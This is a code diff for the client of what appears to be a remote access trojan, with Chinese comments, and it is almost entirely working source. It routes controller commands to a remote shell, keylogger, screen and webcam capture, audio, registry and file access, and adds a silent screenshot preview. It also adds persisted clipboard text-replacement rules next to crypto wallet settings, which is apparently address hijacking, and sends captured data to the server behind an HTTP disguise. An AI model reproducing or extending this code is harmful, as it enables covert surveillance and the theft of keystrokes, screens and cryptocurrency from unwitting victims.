tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
|
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
|
||||||
return tKeyboard;
|
return tKeyboard;
|
||||||
@@ -272,6 +275,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
FrpcParam* f = (FrpcParam*)user;
|
FrpcParam* f = (FrpcParam*)user;
|
||||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||||
int r = 0;
|
int r = 0;
|
||||||
|
uint64_t start = time(0);
|
||||||
if (proc) {
|
if (proc) {
|
||||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||||
&CKernelManager::g_IsAppExit);
|
&CKernelManager::g_IsAppExit);
|
||||||
@@ -279,7 +283,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
else {
|
else {
|
||||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||||
}
|
}
|
||||||
if (r) {
|
if (r || (time(0)-start < 15)) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
@@ -295,6 +299,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
FrpcParam* f = (FrpcParam*)user;
|
FrpcParam* f = (FrpcParam*)user;
|
||||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||||
int r = 0;
|
int r = 0;
|
||||||
|
uint64_t start = time(0);
|
||||||
if (proc) {
|
if (proc) {
|
||||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||||
&CKernelManager::g_IsAppExit);
|
&CKernelManager::g_IsAppExit);
|
||||||
@@ -302,7 +307,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
else {
|
else {
|
||||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||||
}
|
}
|
||||||
if (r) {
|
if (r || (time(0)-start < 15)) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
@@ -954,7 +959,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1058,33 +1067,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_TALK: {
|
case COMMAND_TALK: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: { //远程进程管理
|
case COMMAND_SYSTEM: { //远程进程管理
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: { //远程窗口管理
|
case COMMAND_WSLIST: { //远程窗口管理
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1113,20 +1138,65 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
case COMMAND_SCREEN_PREVIEW_REQ: {
|
||||||
|
if (ulLength < sizeof(ScreenPreviewReq)) break;
|
||||||
|
ScreenPreviewReq req;
|
||||||
|
memcpy(&req, szBuffer, sizeof(req));
|
||||||
|
// 限流:同一时刻最多 1 个抓屏任务在跑,防御服务端洪泛或异常重发把客户端打爆
|
||||||
|
static std::atomic<int> s_inFlight{0};
|
||||||
|
if (s_inFlight.fetch_add(1) >= 1) {
|
||||||
|
s_inFlight.fetch_sub(1);
|
||||||
|
break; // 直接丢弃,让服务端 4s 超时降级为"预览不可用"
|
||||||
|
}
|
||||||
|
// 投递到工作线程,避免阻塞 OnReceive;抓屏 + 编码可能耗几十毫秒
|
||||||
|
std::thread([this, req]() {
|
||||||
|
struct Guard { ~Guard(){ s_inFlight.fetch_sub(1); } } guard;
|
||||||
|
std::vector<unsigned char> jpg;
|
||||||
|
int w = 0, h = 0;
|
||||||
|
int st = CaptureAndEncodePreview(req.maxWidth, req.jpegQuality, jpg, w, h);
|
||||||
|
|
||||||
|
std::vector<BYTE> pkt(sizeof(ScreenPreviewRspHeader) + (st == SCREEN_PREVIEW_OK ? jpg.size() : 0));
|
||||||
|
ScreenPreviewRspHeader* hdr = reinterpret_cast<ScreenPreviewRspHeader*>(pkt.data());
|
||||||
|
memset(hdr, 0, sizeof(*hdr));
|
||||||
|
hdr->token = TOKEN_SCREEN_PREVIEW_RSP;
|
||||||
|
hdr->reqId = req.reqId;
|
||||||
|
hdr->status = (uint8_t)st;
|
||||||
|
hdr->format = SCREEN_PREVIEW_FMT_JPEG;
|
||||||
|
hdr->width = (uint16_t)w;
|
||||||
|
hdr->height = (uint16_t)h;
|
||||||
|
hdr->bytes = (uint32_t)(st == SCREEN_PREVIEW_OK ? jpg.size() : 0);
|
||||||
|
if (st == SCREEN_PREVIEW_OK && !jpg.empty()) {
|
||||||
|
memcpy(pkt.data() + sizeof(*hdr), jpg.data(), jpg.size());
|
||||||
|
}
|
||||||
|
if (m_ClientObject && m_ClientObject->IsConnected()) {
|
||||||
|
m_ClientObject->Send2Server((char*)pkt.data(), (int)pkt.size());
|
||||||
|
}
|
||||||
|
}).detach();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_SCREEN_SPY: {
|
case COMMAND_SCREEN_SPY: {
|
||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||||||
}
|
}
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount].user = user;
|
m_hThread[m_ulThreadCount].user = user;
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE : {
|
case COMMAND_LIST_DRIVE : {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1134,25 +1204,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case COMMAND_WEBCAM: {
|
case COMMAND_WEBCAM: {
|
||||||
static bool hasCamera = WebCamIsExist();
|
static bool hasCamera = WebCamIsExist();
|
||||||
if (!hasCamera) break;
|
if (!hasCamera) break;
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO: {
|
case COMMAND_AUDIO: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_REGEDIT: {
|
case COMMAND_REGEDIT: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SERVICES: {
|
case COMMAND_SERVICES: {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
{
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
}
|
||||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1270,6 +1356,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
opts.enableResume = queryPending; // 只有发送了查询才等待响应
|
opts.enableResume = queryPending; // 只有发送了查询才等待响应
|
||||||
|
|
||||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
||||||
|
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||||
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
|
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
|
||||||
FileBatchTransferWorkerV2(files, targetDir, pClient,
|
FileBatchTransferWorkerV2(files, targetDir, pClient,
|
||||||
@@ -1493,7 +1580,18 @@ void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (ulLength > 8) {
|
if (ulLength > 8) {
|
||||||
uint64_t n = 0;
|
uint64_t n = 0;
|
||||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||||
m_nNetPing.update_from_sample(GetUnixMs() - n);
|
// 主控心跳 ACK 只回显时间戳(不含 ProcessingMs),近似纯网络 RTT
|
||||||
|
int64_t rtt_ms = (int64_t)GetUnixMs() - (int64_t)n;
|
||||||
|
m_nNetPing.update_from_sample((double)rtt_ms);
|
||||||
|
// 试用版反代理:RTT 入采样窗口。
|
||||||
|
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
|
||||||
|
if (rtt_ms > 0 && rtt_ms < INT_MAX)
|
||||||
|
LANRttChecker::RecordSample((int)rtt_ms);
|
||||||
|
// m_settings.Authorized / IsTrail 由 CMD_MASTERSETTING 同步而来。
|
||||||
|
// 首次心跳早于 MasterSettings 到达时,两字段均为 0 → 保留默认(关闭),安全。
|
||||||
|
if (!m_settings.Authorized) return;
|
||||||
|
// 试用主控 → 打开 RTT 反代理检测;已授权 → 关闭,避免误报合法远程连接
|
||||||
|
LANRttChecker::SetEnabled(m_settings.IsTrail != 0);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1556,7 +1654,16 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
|
|||||||
HeartbeatACK n = { 0 };
|
HeartbeatACK n = { 0 };
|
||||||
const int size = sizeof(HeartbeatACK);
|
const int size = sizeof(HeartbeatACK);
|
||||||
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
|
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
|
||||||
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
|
// 总 RTT = ACK 到达时间 − 客户端发出时间(含网络 + 服务端处理)。
|
||||||
|
// 服务端从 v1.3.4 起在 ACK 里回报自己的处理耗时 ProcessingMs(毫秒):
|
||||||
|
// - 新服务端:ProcessingMs > 0 → 减掉得近似纯网络 RTT
|
||||||
|
// - 旧服务端:ProcessingMs == 0 → 维持旧行为,用总 RTT
|
||||||
|
// 避免 V2 签名 / HMAC / Debug 加密放大等服务端本底误算到网络 RTT。
|
||||||
|
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
|
||||||
|
int64_t net_rtt_ms = total_rtt_ms;
|
||||||
|
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
|
||||||
|
net_rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
|
||||||
|
m_nNetPing.update_from_sample((double)net_rtt_ms);
|
||||||
// Not authorized, but server is reachable, so just return and wait for next heartbeat
|
// Not authorized, but server is reachable, so just return and wait for next heartbeat
|
||||||
if (n.Authorized == UNAUTHORIZED) return;
|
if (n.Authorized == UNAUTHORIZED) return;
|
||||||
|
|
||||||
|
|||||||
@@ -63,9 +63,34 @@ private:
|
|||||||
if (hForegroundWindow == NULL)
|
if (hForegroundWindow == NULL)
|
||||||
return "No active window";
|
return "No active window";
|
||||||
|
|
||||||
char windowTitle[256];
|
// 用 W 接口取标题,再转 UTF-8,避免依赖客户端系统 ANSI 代码页
|
||||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
wchar_t wTitle[256] = { 0 };
|
||||||
return std::string(windowTitle);
|
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
|
||||||
|
if (wTitle[0] == L'\0')
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
|
||||||
|
if (u8len <= 1)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
// 协议字段 ActiveWnd[512],UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
|
||||||
|
std::string out(u8len - 1, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
|
||||||
|
if (out.size() >= 511) {
|
||||||
|
out.resize(511);
|
||||||
|
// 回退到上一个完整 UTF-8 码点起始
|
||||||
|
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
|
||||||
|
out.pop_back();
|
||||||
|
if (!out.empty()) {
|
||||||
|
unsigned char lead = static_cast<unsigned char>(out.back());
|
||||||
|
int need = (lead & 0x80) == 0 ? 1
|
||||||
|
: (lead & 0xE0) == 0xC0 ? 2
|
||||||
|
: (lead & 0xF0) == 0xE0 ? 3
|
||||||
|
: (lead & 0xF8) == 0xF0 ? 4 : 0;
|
||||||
|
if (need == 0) out.pop_back();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD GetLastInputTime()
|
DWORD GetLastInputTime()
|
||||||
|
|||||||
@@ -25,6 +25,7 @@
|
|||||||
#define USING_CLIP 0
|
#define USING_CLIP 0
|
||||||
|
|
||||||
#include "wallet.h"
|
#include "wallet.h"
|
||||||
|
#include "common/utf8.h"
|
||||||
#if USING_CLIP
|
#if USING_CLIP
|
||||||
#include "clip.h"
|
#include "clip.h"
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||||
|
|
||||||
|
binFile bin(CLIENT_PATH);
|
||||||
|
std::string rule = bin.GetStr("settings", "textRule");
|
||||||
|
if (rule.length() >= sizeof(TextReplace)) {
|
||||||
|
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
|
||||||
|
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
|
||||||
|
}
|
||||||
|
|
||||||
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
|
||||||
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||||
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||||
@@ -76,7 +84,10 @@ CKeyboardManager1::~CKeyboardManager1()
|
|||||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||||
|
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
|
||||||
|
if (m_bIsOfflineRecord) {
|
||||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||||
|
}
|
||||||
delete m_Buffer;
|
delete m_Buffer;
|
||||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||||
}
|
}
|
||||||
@@ -90,7 +101,10 @@ void CKeyboardManager1::Notify()
|
|||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
|
||||||
m_mu.Unlock();
|
m_mu.Unlock();
|
||||||
sendStartKeyBoard();
|
m_ruleMu.Lock();
|
||||||
|
auto rule = m_ReplaceRule;
|
||||||
|
m_ruleMu.Unlock();
|
||||||
|
sendStartKeyBoard(rule);
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -117,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
|||||||
GET_PROCESS_EASY(DeleteFileA);
|
GET_PROCESS_EASY(DeleteFileA);
|
||||||
DeleteFileA(m_strRecordFile);
|
DeleteFileA(m_strRecordFile);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
|
||||||
|
CAutoCLock L(m_ruleMu);
|
||||||
|
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
|
||||||
|
binFile cfg(CLIENT_PATH);
|
||||||
|
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
|
||||||
|
cfg.SetStr("settings", "textRule", rule);
|
||||||
|
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
|
||||||
|
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
std::vector<std::string> CKeyboardManager1::GetWallet()
|
std::vector<std::string> CKeyboardManager1::GetWallet()
|
||||||
@@ -127,11 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
|||||||
return w;
|
return w;
|
||||||
}
|
}
|
||||||
|
|
||||||
int CKeyboardManager1::sendStartKeyBoard()
|
int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
|
||||||
{
|
{
|
||||||
BYTE bToken[2];
|
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||||
|
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||||
|
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||||
|
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||||
|
BYTE bToken[4 + sizeof(TextReplace)];
|
||||||
bToken[0] = TOKEN_KEYBOARD_START;
|
bToken[0] = TOKEN_KEYBOARD_START;
|
||||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||||
|
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||||
|
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||||
|
memcpy(bToken + 4, &rule, sizeof(TextReplace));
|
||||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
